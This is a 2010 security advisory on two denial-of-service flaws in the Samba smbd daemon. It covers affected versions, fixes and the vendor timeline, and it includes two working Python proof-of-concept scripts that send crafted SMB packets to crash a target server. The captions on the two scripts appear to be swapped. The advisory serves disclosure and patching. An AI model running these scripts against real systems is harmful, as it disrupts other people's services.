Samba 3.4.7/3.5.1 – Denial of Service
=============================================================================== stratsec Security Advisory: SS-2010-005 =============================================================================== Title: Samba Multiple DoS Vulnerabilities Version: 1.0 Issue type: Multiple Affected vendor: Samba Release date: 12/05/2010 Discovered by: Laurent Gaffié Issue status: Patch available =============================================================================== Summary ------- Two vulnerabilities were discovered within in the Samba Smbd daemon which allow an attacker to trigger a null pointer dereference or an uninitialized variable read by sending a specific 'Sessions Setup AndX' query. Successful exploitation of these issues will result in a denial of service. Description ----------- The Server Message Block (SMB) protocol, also known as Common Internet File System (CIFS) acts as an application-layer protocol to provide shared access to files, printers and Inter-Process Communication (IPC). It is also a transport for Distributed Computing Environment / Remote Procedure Call (DCE / RPC) operations. After negotiating an SMB communication the client sends a 'Session Setup AndX' packet to negotiate a session in order to be able to connect on a specific share. To trigger the null pointer dereference, the client needs to send a crafted SMB 'Negotiate Protocol' query with the SMB header 'Flags2' set to '0x0003' (no Unicode), followed by a Session Setup AndX request with the SMB header 'Flags2' set to '0x8003' (Unicode). This sequence will result in a crash within the Smbd process. The uninitialised Variable Read issue, can be triggered if the client sends a crafted 'Session Setup AndX' with a 'security blob length' value set to '\xff\xff'. Impact ------ A remote attacker can cause a denial of service within the Samba daemon Affected products ----------------- Samba <=3.4.7 and Samba <= 3.5.1 Proof of concept ---------------- To trigger the uninitialised variable read issue, the following Python proof of concept is available: import sys,socket from socket import * if len(sys.argv)<=1: sys.exit('Usage: python smbd.py 10.0.0.12') host = sys.argv[1],445 packetnego=( "\x00\x00\x00\xaa" "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x03\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xca\x00\x00\x00\x00" "\x00\x87\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50" "\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x1a\x45\x4e\x49" "\x58\x20\x43\x4f\x52\x45\x00\x02\x4d\x49\x43\x52\x4f\x53\x4f\x46" "\x54\x20\x4e\x45\x54\x57\x4f\x52\x4b\x53\x20\x31\x2e\x30\x33\x00" "\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64" "\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75" "\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30" "\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e" "\x54\x20\x4c\x4d\x20\x76\x2e\x31\x32\x00" ) payload=( "\x00\x00\x01\xa3" "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x03\x80\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x41\x00\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xca\x00\x00\x00" "\x00\x0d\x75\x00\xd6\x00\x04\x11\x0a\x00\x00\x00\x00\x00\x00\x00" "\x18\x00\x18\x00\x00\x00\x00\x00\xd4\x00\x00\x00\x99\x00\x36\xed" "\x7f\xf4\x6b\xeb\x15\x65\x2e\xb5\xc9\x70\xbe\x39\xfa\x89\x56\x5b" "\xb0\xc2\x56\x40\x11\x6c\xe6\x33\x1e\x93\x02\xd3\xd3\x2e\x17\xad" "\x1f\x37\x23\xcf\x7e\x4c\xd7\x64\xbe\xd5\xdc\x1f\x23\xe0\x69\x41" "\x00\x64\x00\x6d\x00\x69\x00\x6e\x00\x69\x00\x73\x00\x74\x00\x72" "\x00\x61\x00\x74\x00\x65\x00\x75\x00\x72\x00\x00\x00\x4e\x00\x54" "\x00\x34\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77" "\x00\x73\x00\x20\x00\x4e\x00\x54\x00\x20\x00\x31\x00\x33\x00\x38" "\x00\x31\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f" "\x00\x77\x00\x73\x00\x20\x00\x4e\x00\x54\x00\x20\x00\x34\x00\x2e" "\x00\x30\x00\x00\x00\x00\x00\x04\xff\x00\x00\x00\x00\x00\x01\x00" "\x31\x00\x00\x5c\x00\x5c\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31" "\x00\x36\x00\x38\x00\x2e\x00\x30\x00\x2e\x00\x31\x00\x30\x00\x34" "\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3f\x3f\x3f" "\x3f\x3f\x00" ) s = socket(AF_INET, SOCK_STREAM) s.connect(host) s.send(''.join(packetnego)) s.send(''.join(payload)) To trigger the null pointer dereference issue this Python proof of concept is available: import sys,socket from socket import * if len(sys.argv)<=1: sys.exit('python smbd.py 10.0.0.12') host = sys.argv[1],445 packetnego=( "\x00\x00\x00\x85" "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00" "\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50" "\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d" "\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66" "\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e" "\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20" "\x30\x2e\x31\x32\x00" ) payload=( "\x00\x00\x00\xec" "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00" "\x0c\xff\x00\xec\x00\x04\x11\x32\x00\x00\x00\x00\x00\x00\x00" "\xff\xff" ## Security blob set to \xff\xff here "\x00\x00\x00\x00\xd4\x00\x00\xa0\xb1\x00\x60\x48\x06\x06\x2b" "\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b" "\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c" "\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28" "\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00" "\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00" "\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00" "\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00" "\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00" "\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00" "\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00" ) s = socket(AF_INET, SOCK_STREAM) s.connect(host) s.send(''.join(packetnego)) s.send(''.join(payload)) Solution -------- Update to version 3.5.2 or 3.4.8 (http://samba.org/) Response timeline ----------------- * 09/03/2010 - Null pointer dereference issue reported to vendor. * 09/03/2010 - Vendor acknowledges receipt of advisory 2 hours after receiving the initial email * 09/03/2010 - Vendor confirms issue presence, and provide a patch 3 hours after receiving the initial email. * 09/03/2010 - stratsec confirms patch resolves issue. * 15/03/2010 - Uninitialised Variable Read issue reported to vendor. * 15/03/2010 - Vendor confirms the issue and provides a patch 5 hours after receiving the initial email. * 15/03/2010 - stratsec confirms patch resolves issue * 07/04/2010 - Version 3.5.2 released by the vendor fixing both issues. * 11/05/2010 - Version 3.4.8 released by the vendor fixing both issues. * 12/05/2010 - This advisory published. References ---------- * Vendor advisory: http://samba.org/samba/history/samba-3.4.8.html * https://bugzilla.samba.org/show_bug.cgi?id=7254 * stratsec would like to thanks the Samba Security Team for their responsiveness while handling theses issues =============================================================================== About stratsec -------------- stratsec, specialises in providing information security consulting and testing services for government and commercial clients. Established in 2004, we are now one of the leading independent information security companies in the Australasian and SE-Asian region, with offices throughout Australia and in Singapore and Malaysia. For more information, please visit our website at http://www.stratsec.net/ =============================================================================== |